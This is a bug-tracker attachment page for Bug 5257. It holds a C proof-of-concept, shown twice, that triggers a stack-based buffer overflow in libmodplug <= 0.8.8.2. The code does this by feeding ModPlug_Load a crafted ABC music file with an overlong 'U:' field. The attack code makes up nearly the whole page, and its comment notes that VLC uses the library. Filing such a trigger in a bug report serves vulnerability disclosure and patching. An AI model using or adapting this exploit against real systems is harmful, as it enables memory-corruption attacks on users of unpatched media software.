Attachment 1938 Details for Bug 5257 – Source code for poc

Source code for poc

libmodplugcrash.c (text/plain), 1008 bytes, created by Dave Hodgins on 2012-04-07 05:59:47 CEST

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Creator: Dave Hodgins

Created: 2012-04-07 05:59:47 CEST

Size: 1008 bytes

patch

obsolete

>#include <libmodplug/modplug.h>
>#include <stdio.h>
>#include <string.h>
> 
>/*
>libmodplug <= 0.8.8.2 .abc stack-based buffer overflow poc
> 
>http://modplug-xmms.sourceforge.net/
> 
>by: epiphant
> 
>this exploits one of many overflows in load_abc.cpp lol
> 
>vlc media player uses libmodplug
> 
>greets: defrost, babi, ming_wisher, emel1a, a.v., krs
> 
>date: 28 april 2011
> 
>tested on: centos 5.6
>*/
> 
>int main(void)
>{
>  char test[512] = "X: 1\nU: ";
>  unsigned int i;
> 
>  i = strlen(test);
>  while (i < 278)
>    test[i++] = 'Q';
>  test[i++] = '1' + 32;
>  test[i++] = '3';
>  test[i++] = '3';
>  test[i++] = '4';
>  while (i < 286)
>    test[i++] = 'A';
>  test[i++] = '\n';
>  test[i] = '\0';
> 
>  strcat(test, "T: Here Without You (Transcribed by: Bungee)\n");
>  strcat(test, "Z: 3 Doors Down\n");
>  strcat(test, "L: 1/4\n");
>  strcat(test, "Q: 108\n");
>  strcat(test, "K: C\n\n");
>  strcat(test, "[A,3A3/4] [E9/8z3/8] A3/8 [c9/8z3/8] [A9/8z3/8] [E3/4z3/8]\n");
> 
>  i = strlen(test);
>  ModPlug_Load(test, i);
> 
>  return 0;
>}
>

#include <libmodplug/modplug.h>
#include <stdio.h>
#include <string.h>
 
/*
libmodplug <= 0.8.8.2 .abc stack-based buffer overflow poc
 
http://modplug-xmms.sourceforge.net/
 
by: epiphant
 
this exploits one of many overflows in load_abc.cpp lol
 
vlc media player uses libmodplug
 
greets: defrost, babi, ming_wisher, emel1a, a.v., krs
 
date: 28 april 2011
 
tested on: centos 5.6
*/
 
int main(void)
{
  char test[512] = "X: 1\nU: ";
  unsigned int i;
 
  i = strlen(test);
  while (i < 278)
    test[i++] = 'Q';
  test[i++] = '1' + 32;
  test[i++] = '3';
  test[i++] = '3';
  test[i++] = '4';
  while (i < 286)
    test[i++] = 'A';
  test[i++] = '\n';
  test[i] = '\0';
 
  strcat(test, "T: Here Without You (Transcribed by: Bungee)\n");
  strcat(test, "Z: 3 Doors Down\n");
  strcat(test, "L: 1/4\n");
  strcat(test, "Q: 108\n");
  strcat(test, "K: C\n\n");
  strcat(test, "[A,3A3/4] [E9/8z3/8] A3/8 [c9/8z3/8] [A9/8z3/8] [E3/4z3/8]\n");
 
  i = strlen(test);
  ModPlug_Load(test, i);
 
  return 0;
}

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Attachments on bug 5257: 1938